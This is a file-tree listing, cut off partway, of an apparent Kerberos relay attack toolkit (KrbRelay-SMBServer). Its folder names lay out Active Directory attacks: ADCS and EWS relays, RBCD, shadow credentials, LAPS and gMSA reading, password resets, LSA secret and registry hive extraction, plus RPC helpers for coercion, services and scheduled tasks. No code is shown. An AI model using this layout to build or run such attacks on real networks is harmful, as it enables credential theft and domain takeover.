├── .gitattributes ├── .gitignore ├── CheckPort ├── App.config ├── CheckPort.csproj ├── Program.cs └── Properties │ └── AssemblyInfo.cs ├── Images ├── demo.mp4 └── image-20220213094644590.png ├── KrbRelay-SMBServer.sln ├── KrbRelay ├── App.config ├── Clients │ ├── Attacks │ │ ├── Http │ │ │ ├── ADCS.cs │ │ │ ├── EWS.cs │ │ │ └── ProxyServer.cs │ │ ├── Ldap │ │ │ ├── DSInternals.Common │ │ │ │ ├── Data │ │ │ │ │ ├── DNWithBinary.cs │ │ │ │ │ └── Hello │ │ │ │ │ │ ├── CustomKeyInformation.cs │ │ │ │ │ │ ├── KeyCredential.cs │ │ │ │ │ │ ├── KeyCredentialEntryType.cs │ │ │ │ │ │ ├── KeyCredentialVersion.cs │ │ │ │ │ │ ├── KeyFlags.cs │ │ │ │ │ │ ├── KeySource.cs │ │ │ │ │ │ ├── KeyStrength.cs │ │ │ │ │ │ ├── KeyUsage.cs │ │ │ │ │ │ └── VolumeType.cs │ │ │ │ ├── Extensions │ │ │ │ │ ├── ByteArrayExtensions.cs │ │ │ │ │ └── RSAExtensions.cs │ │ │ │ ├── Properties │ │ │ │ │ ├── Resources.Designer.cs │ │ │ │ │ └── Resources.resx │ │ │ │ └── Validator.cs │ │ │ ├── Generic.cs │ │ │ ├── LAPS.cs │ │ │ ├── RBCD.cs │ │ │ ├── ShadowCredential.cs │ │ │ ├── addGroupMember.cs │ │ │ ├── gMSA.cs │ │ │ └── setPassword.cs │ │ └── Smb │ │ │ ├── HiveParser │ │ │ ├── Crypto.cs │ │ │ ├── LsaSecret.cs │ │ │ ├── NL_Record.cs │ │ │ ├── NodeKey.cs │ │ │ ├── Parse.cs │ │ │ ├── Registry.cs │ │ │ ├── RegistryHive.cs │ │ │ └── ValueKey.cs │ │ │ ├── LSA.cs │ │ │ ├── RemoteRegistry.cs │ │ │ ├── ServiceManager.cs │ │ │ └── Shares.cs │ ├── Http.cs │ ├── Ldap.cs │ ├── Rpc.cs │ └── Smb.cs ├── Com │ ├── BufferUtils.cs │ ├── COMInterfaces.cs │ ├── COMObjRef.cs │ ├── COMUtilities.cs │ ├── ComUtils.cs │ ├── SafeBufferGeneric.cs │ ├── SafeHGlobalBuffer.cs │ └── SafeStructureInOutBuffer.cs ├── IStorage │ ├── IEnumSTATSTG.cs │ ├── ILockBytes.cs │ ├── IMarshal.cs │ ├── IStorage.cs │ ├── IStream.cs │ ├── Ole32.cs │ ├── StandardActivator.cs │ └── StorageTrigger.cs ├── KrbRelay.crproj ├── KrbRelay.csproj ├── Misc │ ├── Helpers.cs │ ├── Interop.cs │ ├── Natives.cs │ └── SecurityBuffer.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── Smb │ ├── RPCForSMBLibrary │ │ ├── Client │ │ │ └── Helpers │ │ │ │ ├── EFSServiceHelper.cs │ │ │ │ ├── IRPCRequest.cs │ │ │ │ ├── LsaServiceHelper.cs │ │ │ │ ├── NetlogonServiceHelper.cs │ │ │ │ ├── RPCCallHelperEx.cs │ │ │ │ ├── RprnServiceHelper.cs │ │ │ │ ├── RrpServiceHelper.cs │ │ │ │ ├── SIDHelper.cs │ │ │ │ ├── SamrServiceHelper.cs │ │ │ │ ├── ScmrServiceHelper.cs │ │ │ │ ├── ServerServiceHelperEx.cs │ │ │ │ └── TschServiceHelper.cs │ │ ├── RPC │ │ │ └── NDR │ │ │ │ └── NDRSid.cs │ │ └── Services │ │ │ ├── EFSService │ │ │ ├── EFSService.cs │ │ │ ├── EfsRpcCloseRawRequest.cs │ │ │ ├── EfsRpcCloseRawResponse.cs │ │ │ ├── EfsRpcOpenFileRawRequest.cs │ │ │ ├── EfsRpcOpenFileRawResponse.cs │ │ │ ├── Enums │ │ │ │ └── EFSServiceOpName.cs │ │ │ └── Structures │ │ │ │ └── EXImportContextHandle.cs │ │ │ ├── LsaRemoteService │ │ │ ├── Enums │ │ │ │ ├── LsaRemoteServiceOpName.cs │ │ │ │ └── LsaSIDNameUse.cs │ │ │ ├── LsaRemoteService.cs │ │ │ ├── LsarAddAccountRightsRequest.cs │ │ │ ├── LsarAddAccountRightsResponse.cs │ │ │ ├── LsarCloseRequest.cs │ │ │ ├── LsarCloseResponse.cs │ │ │ ├── LsarLookupNamesRequest.cs │ │ │ ├── LsarLookupNamesResponse.cs │ │ │ ├── LsarLookupSidsRequest.cs │ │ │ ├── LsarLookupSidsResponse.cs │ │ │ ├── LsarOpenPolicyRequest.cs │ │ │ ├── LsarOpenPolicyResponse.cs │ │ │ └── Structures │ │ │ │ ├── LsaHandle.cs │ │ │ │ ├── LsaObjectAttributes.cs │ │ │ │ ├── LsaReferencedDomainList.cs │ │ │ │ ├── LsaSIDArray.cs │ │ │ │ ├── LsaSIDEnumBuffer.cs │ │ │ │ ├── LsaTranslatedArray.cs │ │ │ │ ├── LsaTranslatedName.cs │ │ │ │ ├── LsaTranslatedSid.cs │ │ │ │ ├── LsaTrustInformation.cs │ │ │ │ ├── LsaUnicodeString.cs │ │ │ │ ├── LsaUnicodeStringArray.cs │ │ │ │ └── _LSAPR_USER_RIGHT_SET.cs │ │ │ ├── NetlogonService │ │ │ ├── DsrGetDcNameRequest.cs │ │ │ ├── DsrGetDcNameResponse.cs │ │ │ ├── Enums │ │ │ │ └── NetlogonServiceOpName.cs │ │ │ ├── NetlogonService.cs │ │ │ └── Structures │ │ │ │ ├── DomainControllerInfo.cs │ │ │ │ └── NDRDomainControllerInfo.cs │ │ │ ├── RprnService │ │ │ ├── Enums │ │ │ │ └── RprnServiceOpName.cs │ │ │ ├── RpcAddPrinterDriverExRequest.cs │ │ │ ├── RpcAddPrinterDriverExResponse.cs │ │ │ ├── RpcClosePrinterRequest.cs │ │ │ ├── RpcClosePrinterResponse.cs │ │ │ ├── RpcOpenPrinterRequest.cs │ │ │ ├── RpcOpenPrinterResponse.cs │ │ │ ├── RprnService.cs │ │ │ ├── Structures │ │ │ │ ├── DEVMODE_CONTAINER.cs │ │ │ │ ├── DRIVER_CONTAINER.cs │ │ │ │ ├── DRIVER_INFO2.cs │ │ │ │ └── PRINTER_HANDLE.cs │ │ │ ├── rpcEnumPrinterDriversRequest.cs │ │ │ └── rpcEnumPrinterDriversResponse.cs │ │ │ ├── RrpService │ │ │ ├── Enums │ │ │ │ ├── REGSAM.cs │ │ │ │ ├── RrpServiceOpName.cs │ │ │ │ └── ValueType.cs │ │ │ ├── OpenLocalMachineRequest.cs │ │ │ ├── OpenLocalMachineResponse.cs │ │ │ ├── RrpService.cs │ │ │ ├── Structures │ │ │ │ ├── BYTE.cs │ │ │ │ ├── GUID.cs │ │ │ │ ├── LPDWORD.cs │ │ │ │ ├── RPC_HKEY.cs │ │ │ │ └── RPC_SECURITY_ATTRIBUTES.cs │ │ │ ├── baseRegCloseKeyRequest.cs │ │ │ ├── baseRegCloseKeyResponse.cs │ │ │ ├── baseRegCreateKeyRequest.cs │ │ │ ├── baseRegCreateKeyResponse.cs │ │ │ ├── baseRegOpenKeyRequest.cs │ │ │ ├── baseRegOpenKeyResponse.cs │ │ │ ├── baseRegQueryInfoKeyRequest.cs │ │ │ ├── baseRegQueryInfoKeyResponse.cs │ │ │ ├── baseRegQueryValueRequest.cs │ │ │ ├── baseRegQueryValueResponse.cs │ │ │ ├── baseRegSaveKeyRequest.cs │ │ │ └── baseRegSaveKeyResponse.cs │ │ │ ├── SamrService │ │ │ ├── Enums │ │ │ │ ├── AccessMask.cs │ │ │ │ └── SamrServiceOpName.cs │ │ │ ├── SamrConnectRequest.cs │ │ │ ├── SamrConnectResponse.cs │ │ │ ├── SamrService.cs │ │ │ ├── Structures │ │ │ │ ├── RPC_UNICODE_STRING.cs │ │ │ │ ├── RPC_UNICODE_STRING2.cs │ │ │ │ ├── SAMPR_ENUMERATION_BUFFER.cs │ │ │ │ ├── SAMPR_RID_ENUMERATION.cs │ │ │ │ ├── SAMPR_USER_INFO_BUFFER.cs │ │ │ │ ├── SAMPR_USER_INTERNAL1_INFORMATION.cs │ │ │ │ └── SamprHandle.cs │ │ │ ├── samrAddMemberToGroupRequest.cs │ │ │ ├── samrAddMemberToGroupResponse.cs │ │ │ ├── samrCloseHandleRequest.cs │ │ │ ├── samrCloseHandleResponse.cs │ │ │ ├── samrCreateUserInDomainRequest.cs │ │ │ ├── samrCreateUserInDomainResponse.cs │ │ │ ├── samrEnumerateDomainsInSamServerRequest.cs │ │ │ ├── samrEnumerateDomainsInSamServerResponse.cs │ │ │ ├── samrLookupDomainInSamServerRequest.cs │ │ │ ├── samrLookupDomainInSamServerResponse.cs │ │ │ ├── samrOpenDomainRequest.cs │ │ │ ├── samrOpenDomainResponse.cs │ │ │ ├── samrOpenGroupRequest.cs │ │ │ ├── samrOpenGroupResponse.cs │ │ │ ├── samrOpenUserRequest.cs │ │ │ ├── samrOpenUserResponse.cs │ │ │ ├── samrSetInformationUserRequest.cs │ │ │ └── samrSetInformationUserResponse.cs │ │ │ ├── ScmrService │ │ │ ├── Enums │ │ │ │ ├── SERIVCE_STARTUP.cs │ │ │ │ ├── SERVICE_ACCESS.cs │ │ │ │ └── ScmrServiceOpName.cs │ │ │ ├── RCreateServiceWRequest.cs │ │ │ ├── RCreateServiceWResponse.cs │ │ │ ├── ROpenSCManagerWRequest.cs │ │ │ ├── ROpenSCManagerWResponse.cs │ │ │ ├── ScmrService.cs │ │ │ ├── Structures │ │ │ │ ├── LPSC_RPC_HANDLE.cs │ │ │ │ ├── QUERY_SERVICE_CONFIGW.cs │ │ │ │ └── SERVICE_STATUS.cs │ │ │ ├── rChangeServiceConfigWRequest.cs │ │ │ ├── rChangeServiceConfigWResponse.cs │ │ │ ├── rCloseServiceHandleRequest.cs │ │ │ ├── rCloseServiceHandleResponse.cs │ │ │ ├── rControlServiceRequest.cs │ │ │ ├── rControlServiceResponse.cs │ │ │ ├── rOpenServiceWRequest.cs │ │ │ ├── rOpenServiceWResponse.cs │ │ │ ├── rQueryServiceConfigWRequest.cs │ │ │ ├── rQueryServiceConfigWResponse.cs │ │ │ ├── rQueryServiceStatusRequest.cs │ │ │ ├── rQueryServiceStatusResponse.cs │ │ │ ├── rStartServiceWRequest.cs │ │ │ └── rStartServiceWResponse.cs │ │ │ ├── ServerService │ │ │ ├── NetrRemoteTODRequest.cs │ │ │ ├── NetrRemoteTODResponse.cs │ │ │ ├── NetrServerStatisticsGetRequest.cs │ │ │ ├── NetrServerStatisticsGetResponse.cs │ │ │ └── Structures │ │ │ │ ├── NDRStatServer.cs │ │ │ │ └── NDRTimeOfDayInfo.cs │ │ │ └── TschService │ │ │ ├── Enums │ │ │ ├── TASK_CREATION.cs │ │ │ ├── TASK_LOGON_TYPE.cs │ │ │ └── TschServiceOpName.cs │ │ │ ├── Structures │ │ │ ├── TASK_USER_CRED.cs │ │ │ └── TASK_XML_ERROR_INFO.cs │ │ │ ├── TschService.cs │ │ │ ├── schRpcDeleteRequest.cs │ │ │ ├── schRpcDeleteResponse.cs │ │ │ ├── schRpcGetLastRunInfoRequest.cs │ │ │ ├── schRpcGetLastRunInfoResponse.cs │ │ │ ├── schRpcRegisterTaskRequest.cs │ │ │ ├── schRpcRegisterTaskResponse.cs │ │ │ ├── schRpcRunRequest.cs │ │ │ └── schRpcRunResponse.cs │ ├── SMBLibrary │ │ ├── Authentication │ │ │ ├── GSSAPI │ │ │ │ ├── Enums │ │ │ │ │ └── GSSAttributeName.cs │ │ │ │ ├── GSSProvider.cs │ │ │ │ ├── IGSSMechanism.cs │ │ │ │ └── SPNEGO │ │ │ │ │ ├── DerEncodingHelper.cs │ │ │ │ │ ├── SimpleProtectedNegotiationToken.cs │ │ │ │ │ ├── SimpleProtectedNegotiationTokenInit.cs │ │ │ │ │ ├── SimpleProtectedNegotiationTokenInit2.cs │ │ │ │ │ └── SimpleProtectedNegotiationTokenResponse.cs │ │ │ ├── LoginCounter.cs │ │ │ └── NTLM │ │ │ │ ├── Helpers │ │ │ │ ├── AVPairUtils.cs │ │ │ │ ├── AuthenticationMessageUtils.cs │ │ │ │ ├── MD4.cs │ │ │ │ ├── NTLMCryptography.cs │ │ │ │ └── RC4.cs │ │ │ │ ├── IndependentNTLMAuthenticationProvider.cs │ │ │ │ ├── NTLMAuthenticationProviderBase.cs │ │ │ │ └── Structures │ │ │ │ ├── AuthenticateMessage.cs │ │ │ │ ├── ChallengeMessage.cs │ │ │ │ ├── Enums │ │ │ │ ├── AVPairKey.cs │ │ │ │ ├── MessageTypeName.cs │ │ │ │ └── NegotiateFlags.cs │ │ │ │ ├── NTLMVersion.cs │ │ │ │ ├── NTLMv2ClientChallenge.cs │ │ │ │ └── NegotiateMessage.cs │ │ ├── Client │ │ │ ├── ConnectionState.cs │ │ │ ├── Enums │ │ │ │ └── AuthenticationMethod.cs │ │ │ ├── Helpers │ │ │ │ ├── NTLMAuthenticationHelper.cs │ │ │ │ ├── NamedPipeHelper.cs │ │ │ │ └── ServerServiceHelper.cs │ │ │ ├── ISMBClient.cs │ │ │ ├── ISMBFileStore.cs │ │ │ ├── NameServiceClient.cs │ │ │ ├── SMB1Client.cs │ │ │ ├── SMB1FileStore.cs │ │ │ ├── SMB2Client.cs │ │ │ └── SMB2FileStore.cs │ │ ├── DFS │ │ │ ├── DfsReferralEntry.cs │ │ │ ├── RequestGetDfsReferral.cs │ │ │ └── ResponseGetDfsReferral.cs │ │ ├── Enums │ │ │ ├── NTStatus.cs │ │ │ ├── SMBTransportType.cs │ │ │ └── Win32Error.cs │ │ ├── Exceptions │ │ │ └── UnsupportedInformationLevelException.cs │ │ ├── Helpers │ │ │ ├── FileTimeHelper.cs │ │ │ └── SP800_1008.cs │ │ ├── NTFileStore │ │ │ ├── Enums │ │ │ │ ├── AccessMask │ │ │ │ │ ├── AccessMask.cs │ │ │ │ │ ├── DirectoryAccessMask.cs │ │ │ │ │ └── FileAccessMask.cs │ │ │ │ ├── FileInformation │ │ │ │ │ ├── CompressionFormat.cs │ │ │ │ │ ├── ExtendedAttributeFlags.cs │ │ │ │ │ ├── FileAttributes.cs │ │ │ │ │ └── FileInformationClass.cs │ │ │ │ ├── FileSystemInformation │ │ │ │ │ ├── DeviceCharacteristics.cs │ │ │ │ │ ├── DeviceType.cs │ │ │ │ │ ├── FileSystemAttributes.cs │ │ │ │ │ ├── FileSystemControlFlags.cs │ │ │ │ │ ├── FileSystemInformationClass.cs │ │ │ │ │ └── SectorSizeInformationFlags.cs │ │ │ │ ├── IoControlCode.cs │ │ │ │ ├── NotifyChangeFilter.cs │ │ │ │ ├── NtCreateFile │ │ │ │ │ ├── CreateDisposition.cs │ │ │ │ │ ├── CreateOptions.cs │ │ │ │ │ ├── FileStatus.cs │ │ │ │ │ └── ShareAccess.cs │ │ │ │ └── SecurityInformation │ │ │ │ │ ├── ImpersonationLevel.cs │ │ │ │ │ └── SecurityInformation.cs │ │ │ ├── FileHandle.cs │ │ │ ├── INTFileStore.cs │ │ │ ├── NTFileStoreHelper.cs │ │ │ ├── NamedPipeStore.cs │ │ │ └── Structures │ │ │ │ ├── FileInformation │ │ │ │ ├── FileInformation.cs │ │ │ │ ├── Query │ │ │ │ │ ├── FileAccessInformation.cs │ │ │ │ │ ├── FileAlignmentInformation.cs │ │ │ │ │ ├── FileAllInformation.cs │ │ │ │ │ ├── FileAlternateNameInformation.cs │ │ │ │ │ ├── FileBasicInformation.cs │ │ │ │ │ ├── FileCompressionInformation.cs │ │ │ │ │ ├── FileEaInformation.cs │ │ │ │ │ ├── FileFullEAEntry.cs │ │ │ │ │ ├── FileFullEAInformation.cs │ │ │ │ │ ├── FileInternalInformation.cs │ │ │ │ │ ├── FileModeInformation.cs │ │ │ │ │ ├── FileNameInformation.cs │ │ │ │ │ ├── FileNetworkOpenInformation.cs │ │ │ │ │ ├── FilePositionInformation.cs │ │ │ │ │ ├── FileStandardInformation.cs │ │ │ │ │ ├── FileStreamEntry.cs │ │ │ │ │ └── FileStreamInformation.cs │ │ │ │ ├── QueryDirectory │ │ │ │ │ ├── FileBothDirectoryInformation.cs │ │ │ │ │ ├── FileDirectoryInformation.cs │ │ │ │ │ ├── FileFullDirectoryInformation.cs │ │ │ │ │ ├── FileIdBothDirectoryInformation.cs │ │ │ │ │ ├── FileIdFullDirectoryInformation.cs │ │ │ │ │ ├── FileNamesInformation.cs │ │ │ │ │ └── QueryDirectoryFileInformation.cs │ │ │ │ └── Set │ │ │ │ │ ├── FileAllocationInformation.cs │ │ │ │ │ ├── FileDispositionInformation.cs │ │ │ │ │ ├── FileEndOfFileInformation.cs │ │ │ │ │ ├── FileLinkInformationType1.cs │ │ │ │ │ ├── FileLinkInformationType2.cs │ │ │ │ │ ├── FileRenameInformationType1.cs │ │ │ │ │ ├── FileRenameInformationType2.cs │ │ │ │ │ ├── FileValidDataLengthInformation.cs │ │ │ │ │ └── SetFileTime.cs │ │ │ │ ├── FileNotifyInformation.cs │ │ │ │ ├── FileSystemInformation │ │ │ │ ├── FileFsAttributeInformation.cs │ │ │ │ ├── FileFsControlInformation.cs │ │ │ │ ├── FileFsDeviceInformation.cs │ │ │ │ ├── FileFsFullSizeInformation.cs │ │ │ │ ├── FileFsObjectIdInformation.cs │ │ │ │ ├── FileFsSectorSizeInformation.cs │ │ │ │ ├── FileFsSizeInformation.cs │ │ │ │ ├── FileFsVolumeInformation.cs │ │ │ │ └── FileSystemInformation.cs │ │ │ │ ├── IOCtl │ │ │ │ ├── ObjectIDBufferType1.cs │ │ │ │ └── PipeWaitRequest.cs │ │ │ │ └── SecurityInformation │ │ │ │ ├── ACE │ │ │ │ ├── ACE.cs │ │ │ │ ├── AccessAllowedACE.cs │ │ │ │ ├── AceHeader.cs │ │ │ │ └── Enums │ │ │ │ │ ├── AceFlags.cs │ │ │ │ │ └── AceType.cs │ │ │ │ ├── ACL.cs │ │ │ │ ├── Enums │ │ │ │ └── SecurityDescriptorControl.cs │ │ │ │ ├── SID.cs │ │ │ │ └── SecurityDescriptor.cs │ │ ├── NetBios │ │ │ ├── NBTConnectionReceiveBuffer.cs │ │ │ ├── NameServicePackets │ │ │ │ ├── EnumStructures │ │ │ │ │ └── NameFlags.cs │ │ │ │ ├── Enums │ │ │ │ │ ├── NameRecordType.cs │ │ │ │ │ ├── NameServiceOperation.cs │ │ │ │ │ ├── NetBiosSuffix.cs │ │ │ │ │ ├── OperationFlags.cs │ │ │ │ │ ├── QuestionClass.cs │ │ │ │ │ └── ResourceRecordClass.cs │ │ │ │ ├── NameQueryRequest.cs │ │ │ │ ├── NameRegistrationRequest.cs │ │ │ │ ├── NameServicePacketHeader.cs │ │ │ │ ├── NodeStatusRequest.cs │ │ │ │ ├── NodeStatusResponse.cs │ │ │ │ ├── PositiveNameQueryResponse.cs │ │ │ │ └── Structures │ │ │ │ │ ├── NodeStatistics.cs │ │ │ │ │ ├── QuestionSection.cs │ │ │ │ │ └── ResourceRecord.cs │ │ │ ├── NetBiosUtils.cs │ │ │ └── SessionPackets │ │ │ │ ├── Enums │ │ │ │ └── SessionPacketTypeName.cs │ │ │ │ ├── NegativeSessionResponsePacket.cs │ │ │ │ ├── PositiveSessionResponsePacket.cs │ │ │ │ ├── SessionKeepAlivePacket.cs │ │ │ │ ├── SessionMessagePacket.cs │ │ │ │ ├── SessionPacket.cs │ │ │ │ ├── SessionRequestPacket.cs │ │ │ │ └── SessionRetargetResponsePacket.cs │ │ ├── RPC │ │ │ ├── EnumStructures │ │ │ │ └── DataRepresentationFormat.cs │ │ │ ├── Enums │ │ │ │ ├── FaultStatus.cs │ │ │ │ ├── NegotiationResult.cs │ │ │ │ ├── PacketFlags.cs │ │ │ │ ├── PacketTypeName.cs │ │ │ │ └── RejectionReason.cs │ │ │ ├── NDR │ │ │ │ ├── INDRStructure.cs │ │ │ │ ├── NDRConformantArray.cs │ │ │ │ ├── NDRParser.cs │ │ │ │ ├── NDRTypeName.cs │ │ │ │ ├── NDRUnicodeString.cs │ │ │ │ └── NDRWriter.cs │ │ │ ├── PDU │ │ │ │ ├── BindAckPDU.cs │ │ │ │ ├── BindNakPDU.cs │ │ │ │ ├── BindPDU.cs │ │ │ │ ├── FaultPDU.cs │ │ │ │ ├── RPCPDU.cs │ │ │ │ ├── RequestPDU.cs │ │ │ │ └── ResponsePDU.cs │ │ │ ├── RPCHelper.cs │ │ │ └── Structures │ │ │ │ ├── ContextElement.cs │ │ │ │ ├── ContextList.cs │ │ │ │ ├── ResultElement.cs │ │ │ │ ├── ResultList.cs │ │ │ │ ├── SyntaxID.cs │ │ │ │ ├── Version.cs │ │ │ │ └── VersionsSupported.cs │ │ ├── SMB1 │ │ │ ├── Commands │ │ │ │ ├── CheckDirectoryRequest.cs │ │ │ │ ├── CheckDirectoryResponse.cs │ │ │ │ ├── CloseRequest.cs │ │ │ │ ├── CloseResponse.cs │ │ │ │ ├── CreateDirectoryRequest.cs │ │ │ │ ├── CreateDirectoryResponse.cs │ │ │ │ ├── DeleteDirectoryRequest.cs │ │ │ │ ├── DeleteDirectoryResponse.cs │ │ │ │ ├── DeleteRequest.cs │ │ │ │ ├── DeleteResponse.cs │ │ │ │ ├── EchoRequest.cs │ │ │ │ ├── EchoResponse.cs │ │ │ │ ├── ErrorResponse.cs │ │ │ │ ├── FindClose2Request.cs │ │ │ │ ├── FindClose2Response.cs │ │ │ │ ├── FlushRequest.cs │ │ │ │ ├── FlushResponse.cs │ │ │ │ ├── LockingAndXRequest.cs │ │ │ │ ├── LockingAndXResponse.cs │ │ │ │ ├── LogoffAndXRequest.cs │ │ │ │ ├── LogoffAndXResponse.cs │ │ │ │ ├── NTCancelRequest.cs │ │ │ │ ├── NTCreateAndXRequest.cs │ │ │ │ ├── NTCreateAndXResponse.cs │ │ │ │ ├── NTCreateAndXResponseExtended.cs │ │ │ │ ├── NTTransactInterimResponse.cs │ │ │ │ ├── NTTransactRequest.cs │ │ │ │ ├── NTTransactResponse.cs │ │ │ │ ├── NTTransactSecondaryRequest.cs │ │ │ │ ├── NegotiateRequest.cs │ │ │ │ ├── NegotiateResponse.cs │ │ │ │ ├── NegotiateResponseExtended.cs │ │ │ │ ├── NegotiateResponseNotSupported.cs │ │ │ │ ├── OpenAndXRequest.cs │ │ │ │ ├── OpenAndXResponse.cs │ │ │ │ ├── OpenAndXResponseExtended.cs │ │ │ │ ├── QueryInformationRequest.cs │ │ │ │ ├── QueryInformationResponse.cs │ │ │ │ ├── ReadAndXRequest.cs │ │ │ │ ├── ReadAndXResponse.cs │ │ │ │ ├── ReadRequest.cs │ │ │ │ ├── ReadResponse.cs │ │ │ │ ├── RenameRequest.cs │ │ │ │ ├── RenameResponse.cs │ │ │ │ ├── SMB1Command.cs │ │ │ │ ├── SMBAndXCommand.cs │ │ │ │ ├── SessionSetupAndXRequest.cs │ │ │ │ ├── SessionSetupAndXRequestExtended.cs │ │ │ │ ├── SessionSetupAndXResponse.cs │ │ │ │ ├── SessionSetupAndXResponseExtended.cs │ │ │ │ ├── SetInformation2Request.cs │ │ │ │ ├── SetInformation2Response.cs │ │ │ │ ├── SetInformationRequest.cs │ │ │ │ ├── SetInformationResponse.cs │ │ │ │ ├── Transaction2InterimResponse.cs │ │ │ │ ├── Transaction2Request.cs │ │ │ │ ├── Transaction2Response.cs │ │ │ │ ├── Transaction2SecondaryRequest.cs │ │ │ │ ├── TransactionInterimResponse.cs │ │ │ │ ├── TransactionRequest.cs │ │ │ │ ├── TransactionResponse.cs │ │ │ │ ├── TransactionSecondaryRequest.cs │ │ │ │ ├── TreeConnectAndXRequest.cs │ │ │ │ ├── TreeConnectAndXResponse.cs │ │ │ │ ├── TreeConnectAndXResponseExtended.cs │ │ │ │ ├── TreeDisconnectRequest.cs │ │ │ │ ├── TreeDisconnectResponse.cs │ │ │ │ ├── WriteAndXRequest.cs │ │ │ │ ├── WriteAndXResponse.cs │ │ │ │ ├── WriteRawFinalResponse.cs │ │ │ │ ├── WriteRawInterimResponse.cs │ │ │ │ ├── WriteRawRequest.cs │ │ │ │ ├── WriteRequest.cs │ │ │ │ └── WriteResponse.cs │ │ │ ├── EnumStructures │ │ │ │ ├── NamedPipeStatus.cs │ │ │ │ └── OpenResults.cs │ │ │ ├── Enums │ │ │ │ ├── CommandName.cs │ │ │ │ ├── ExtendedFileAttributes.cs │ │ │ │ ├── HeaderFlags.cs │ │ │ │ ├── HeaderFlags2.cs │ │ │ │ ├── Locking │ │ │ │ │ └── LockType.cs │ │ │ │ ├── NTCreate │ │ │ │ │ ├── FileStatusFlags.cs │ │ │ │ │ ├── NTCreateFlags.cs │ │ │ │ │ ├── OpLockLevel.cs │ │ │ │ │ └── SecurityFlags.cs │ │ │ │ ├── Negotiate │ │ │ │ │ ├── Capabilities.cs │ │ │ │ │ └── SecurityMode.cs │ │ │ │ ├── Open │ │ │ │ │ ├── AccessRights.cs │ │ │ │ │ ├── OpenFlags.cs │ │ │ │ │ └── OpenResult.cs │ │ │ │ ├── ResourceType.cs │ │ │ │ ├── SMBFileAttributes.cs │ │ │ │ ├── SessionSetup │ │ │ │ │ └── SessionSetupAction.cs │ │ │ │ ├── Transaction │ │ │ │ │ └── TransactionFlags.cs │ │ │ │ ├── TreeConnect │ │ │ │ │ ├── OptionalSupportFlags.cs │ │ │ │ │ ├── ServiceName.cs │ │ │ │ │ └── TreeConnectFlags.cs │ │ │ │ └── Write │ │ │ │ │ └── WriteMode.cs │ │ │ ├── NTTransactSubcommands │ │ │ │ ├── Enums │ │ │ │ │ └── NTTransactSubcommandName.cs │ │ │ │ ├── NTTransactCreateRequest.cs │ │ │ │ ├── NTTransactIOCTLRequest.cs │ │ │ │ ├── NTTransactIOCTLResponse.cs │ │ │ │ ├── NTTransactNotifyChangeRequest.cs │ │ │ │ ├── NTTransactNotifyChangeResponse.cs │ │ │ │ ├── NTTransactQuerySecurityDescriptorRequest.cs │ │ │ │ ├── NTTransactQuerySecurityDescriptorResponse.cs │ │ │ │ ├── NTTransactSetSecurityDescriptorRequest.cs │ │ │ │ ├── NTTransactSetSecurityDescriptorResponse.cs │ │ │ │ └── NTTransactSubcommand.cs │ │ │ ├── SMB1Header.cs │ │ │ ├── SMB1Helper.cs │ │ │ ├── SMB1Message.cs │ │ │ ├── ServiceNameHelper.cs │ │ │ ├── Transaction2Subcommands │ │ │ │ ├── EnumStructures │ │ │ │ │ ├── AccessModeOptions.cs │ │ │ │ │ ├── ActionTaken.cs │ │ │ │ │ └── OpenMode.cs │ │ │ │ ├── Enums │ │ │ │ │ ├── FindFlags.cs │ │ │ │ │ ├── Open2Flags.cs │ │ │ │ │ ├── SearchStorageType.cs │ │ │ │ │ └── Transaction2SubcommandName.cs │ │ │ │ ├── Transaction2CreateDirectoryRequest.cs │ │ │ │ ├── Transaction2CreateDirectoryResponse.cs │ │ │ │ ├── Transaction2FindFirst2Request.cs │ │ │ │ ├── Transaction2FindFirst2Response.cs │ │ │ │ ├── Transaction2FindNext2Request.cs │ │ │ │ ├── Transaction2FindNext2Response.cs │ │ │ │ ├── Transaction2GetDfsReferralRequest.cs │ │ │ │ ├── Transaction2GetDfsReferralResponse.cs │ │ │ │ ├── Transaction2Open2Request.cs │ │ │ │ ├── Transaction2Open2Response.cs │ │ │ │ ├── Transaction2QueryFSInformationRequest.cs │ │ │ │ ├── Transaction2QueryFSInformationResponse.cs │ │ │ │ ├── Transaction2QueryFileInformationRequest.cs │ │ │ │ ├── Transaction2QueryFileInformationResponse.cs │ │ │ │ ├── Transaction2QueryPathInformationRequest.cs │ │ │ │ ├── Transaction2QueryPathInformationResponse.cs │ │ │ │ ├── Transaction2SetFSInformationRequest.cs │ │ │ │ ├── Transaction2SetFSInformationResponse.cs │ │ │ │ ├── Transaction2SetFileInformationRequest.cs │ │ │ │ ├── Transaction2SetFileInformationResponse.cs │ │ │ │ ├── Transaction2SetPathInformationRequest.cs │ │ │ │ ├── Transaction2SetPathInformationResponse.cs │ │ │ │ └── Transaction2Subcommand.cs │ │ │ ├── TransactionSubcommands │ │ │ │ ├── Enums │ │ │ │ │ ├── NamedPipeState.cs │ │ │ │ │ ├── PipeState.cs │ │ │ │ │ └── TransactionSubcommandName.cs │ │ │ │ ├── TransactionCallNamedPipeRequest.cs │ │ │ │ ├── TransactionCallNamedPipeResponse.cs │ │ │ │ ├── TransactionPeekNamedPipeRequest.cs │ │ │ │ ├── TransactionPeekNamedPipeResponse.cs │ │ │ │ ├── TransactionQueryNamedPipeInfoRequest.cs │ │ │ │ ├── TransactionQueryNamedPipeInfoResponse.cs │ │ │ │ ├── TransactionQueryNamedPipeStateRequest.cs │ │ │ │ ├── TransactionQueryNamedPipeStateResponse.cs │ │ │ │ ├── TransactionRawReadNamedPipeRequest.cs │ │ │ │ ├── TransactionRawReadNamedPipeResponse.cs │ │ │ │ ├── TransactionRawWriteNamedPipeRequest.cs │ │ │ │ ├── TransactionRawWriteNamedPipeResponse.cs │ │ │ │ ├── TransactionReadNamedPipeRequest.cs │ │ │ │ ├── TransactionReadNamedPipeResponse.cs │ │ │ │ ├── TransactionSetNamedPipeStateRequest.cs │ │ │ │ ├── TransactionSetNamedPipeStateResponse.cs │ │ │ │ ├── TransactionSubcommand.cs │ │ │ │ ├── TransactionTransactNamedPipeRequest.cs │ │ │ │ ├── TransactionTransactNamedPipeResponse.cs │ │ │ │ ├── TransactionWaitNamedPipeRequest.cs │ │ │ │ ├── TransactionWriteNamedPipeRequest.cs │ │ │ │ └── TransactionWriteNamedPipeResponse.cs │ │ │ └── UTimeHelper.cs │ │ ├── SMB1FileStore │ │ │ ├── Enums │ │ │ │ ├── FindInformationLevel.cs │ │ │ │ ├── QueryFSInformationLevel.cs │ │ │ │ ├── QueryInformationLevel.cs │ │ │ │ └── SetInformationLevel.cs │ │ │ ├── Helpers │ 